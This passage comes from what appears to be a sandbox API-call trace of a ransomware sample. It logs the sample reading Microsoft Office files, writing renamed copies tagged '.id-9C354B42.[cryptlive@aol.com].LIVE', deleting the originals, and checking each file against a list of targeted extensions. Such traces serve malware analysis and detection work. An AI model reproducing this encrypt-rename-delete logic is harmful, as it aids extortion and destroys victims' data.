(normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.546] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=362441) returned 1 [0139.546] CloseHandle (hObject=0x350) returned 1 [0139.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0139.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.547] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.547] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.547] GetLastError () returned 0x0 [0139.547] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x587c9, lpOverlapped=0x0) returned 1 [0139.556] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x587d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x587d0, lpOverlapped=0x0) returned 1 [0139.563] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.563] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0139.563] SetEndOfFile (hFile=0x3b0) returned 1 [0139.563] CloseHandle (hObject=0x3b0) returned 1 [0139.563] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.563] SetEndOfFile (hFile=0x350) returned 1 [0139.839] CloseHandle (hObject=0x350) returned 1 [0139.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 1 [0139.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.947] lstrlenW (lpString=".doc") returned 4 [0139.947] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0139.947] lstrlenW (lpString=".docx") returned 5 [0139.947] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0139.947] lstrlenW (lpString=".pdf") returned 4 [0139.947] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0139.947] lstrlenW (lpString=".xls") returned 4 [0139.947] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0139.947] lstrlenW (lpString=".xlsx") returned 5 [0139.948] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0139.948] lstrlenW (lpString=".ppt") returned 4 [0139.948] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString=".zip") returned 4 [0139.948] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString=".rar") returned 4 [0139.948] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString=".bz2") returned 4 [0139.948] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0139.948] lstrlenW (lpString=".7z") returned 3 [0139.948] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString=".dbf") returned 4 [0139.948] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString=".1cd") returned 4 [0139.948] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString=".jpg") returned 4 [0139.948] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.948] lstrlenW (lpString=".doc") returned 4 [0139.948] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0139.948] lstrlenW (lpString=".docx") returned 5 [0139.948] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0139.948] lstrlenW (lpString=".pdf") returned 4 [0139.948] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString=".xls") returned 4 [0139.948] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString=".xlsx") returned 5 [0139.948] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0139.948] lstrlenW (lpString=".ppt") returned 4 [0139.948] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0139.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.949] lstrlenW (lpString=".zip") returned 4 [0139.949] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0139.949] lstrlenW (lpString=".rar") returned 4 [0139.949] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0139.949] lstrlenW (lpString=".bz2") returned 4 [0139.949] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0139.949] lstrlenW (lpString=".7z") returned 3 [0139.949] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0139.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.949] lstrlenW (lpString=".dbf") returned 4 [0139.949] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0139.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.949] lstrlenW (lpString=".1cd") returned 4 [0139.949] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0139.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0139.949] lstrlenW (lpString=".jpg") returned 4 [0139.949] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0139.949] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0139.949] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0139.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.063] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7024126) returned 1 [0140.063] CloseHandle (hObject=0x390) returned 1 [0140.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0140.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0140.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.173] lstrlenW (lpString=".doc") returned 4 [0140.173] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.173] lstrlenW (lpString=".docx") returned 5 [0140.173] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0140.174] lstrlenW (lpString=".pdf") returned 4 [0140.174] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString=".xls") returned 4 [0140.174] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString=".xlsx") returned 5 [0140.174] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0140.174] lstrlenW (lpString=".ppt") returned 4 [0140.174] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString=".zip") returned 4 [0140.174] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString=".rar") returned 4 [0140.174] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString=".bz2") returned 4 [0140.174] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.174] lstrlenW (lpString=".7z") returned 3 [0140.174] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString=".dbf") returned 4 [0140.174] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString=".1cd") returned 4 [0140.174] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString=".jpg") returned 4 [0140.174] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.174] lstrlenW (lpString=".doc") returned 4 [0140.174] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.174] lstrlenW (lpString=".docx") returned 5 [0140.174] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0140.174] lstrlenW (lpString=".pdf") returned 4 [0140.174] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.174] lstrlenW (lpString=".xls") returned 4 [0140.174] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.175] lstrlenW (lpString=".xlsx") returned 5 [0140.175] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0140.175] lstrlenW (lpString=".ppt") returned 4 [0140.175] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.175] lstrlenW (lpString=".zip") returned 4 [0140.175] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.175] lstrlenW (lpString=".rar") returned 4 [0140.175] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.175] lstrlenW (lpString=".bz2") returned 4 [0140.175] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.175] lstrlenW (lpString=".7z") returned 3 [0140.175] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.175] lstrlenW (lpString=".dbf") returned 4 [0140.175] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.175] lstrlenW (lpString=".1cd") returned 4 [0140.175] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0140.175] lstrlenW (lpString=".jpg") returned 4 [0140.175] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.175] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.175] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0140.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.182] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=113) returned 1 [0140.182] CloseHandle (hObject=0x3b0) returned 1 [0140.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20 [0140.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.214] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.215] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.215] GetLastError () returned 0x0 [0140.215] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x71, lpOverlapped=0x0) returned 1 [0140.216] WriteFile (in: hFile=0x390, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.217] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.217] WriteFile (in: hFile=0x390, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0140.217] SetEndOfFile (hFile=0x390) returned 1 [0140.217] CloseHandle (hObject=0x390) returned 1 [0140.217] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.217] SetEndOfFile (hFile=0x3b0) returned 1 [0140.220] CloseHandle (hObject=0x3b0) returned 1 [0140.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 1 [0140.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.221] lstrlenW (lpString=".doc") returned 4 [0140.221] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.221] lstrlenW (lpString=".docx") returned 5 [0140.221] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.221] lstrlenW (lpString=".pdf") returned 4 [0140.221] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.221] lstrlenW (lpString=".xls") returned 4 [0140.221] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.221] lstrlenW (lpString=".xlsx") returned 5 [0140.221] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.221] lstrlenW (lpString=".ppt") returned 4 [0140.221] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.221] lstrlenW (lpString=".zip") returned 4 [0140.221] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.221] lstrlenW (lpString=".rar") returned 4 [0140.221] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.221] lstrlenW (lpString=".bz2") returned 4 [0140.221] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.221] lstrlenW (lpString=".7z") returned 3 [0140.221] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.221] lstrlenW (lpString=".dbf") returned 4 [0140.222] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".1cd") returned 4 [0140.222] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".jpg") returned 4 [0140.222] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".doc") returned 4 [0140.222] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.222] lstrlenW (lpString=".docx") returned 5 [0140.222] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.222] lstrlenW (lpString=".pdf") returned 4 [0140.222] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString=".xls") returned 4 [0140.222] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString=".xlsx") returned 5 [0140.222] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.222] lstrlenW (lpString=".ppt") returned 4 [0140.222] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".zip") returned 4 [0140.222] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString=".rar") returned 4 [0140.222] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.222] lstrlenW (lpString=".bz2") returned 4 [0140.222] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.222] lstrlenW (lpString=".7z") returned 3 [0140.222] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".dbf") returned 4 [0140.222] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.222] lstrlenW (lpString=".1cd") returned 4 [0140.223] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0140.223] lstrlenW (lpString=".jpg") returned 4 [0140.223] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.223] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0140.223] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0140.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.486] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=12160) returned 1 [0140.486] CloseHandle (hObject=0x1e4) returned 1 [0140.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll")) returned 0x20 [0140.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.487] lstrlenW (lpString=".doc") returned 4 [0140.487] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString=".docx") returned 5 [0140.487] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0140.487] lstrlenW (lpString=".pdf") returned 4 [0140.487] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString=".xls") returned 4 [0140.487] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString=".xlsx") returned 5 [0140.487] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0140.487] lstrlenW (lpString=".ppt") returned 4 [0140.487] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.487] lstrlenW (lpString=".zip") returned 4 [0140.487] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString=".rar") returned 4 [0140.487] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0140.487] lstrlenW (lpString=".bz2") returned 4 [0140.487] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0140.487] lstrlenW (lpString=".7z") returned 3 [0140.487] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0140.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.487] lstrlenW (lpString=".dbf") returned 4 [0140.488] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0140.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.488] lstrlenW (lpString=".1cd") returned 4 [0140.488] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0140.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.488] lstrlenW (lpString=".jpg") returned 4 [0140.488] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.488] lstrlenW (lpString=".doc") returned 4 [0140.488] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0140.488] lstrlenW 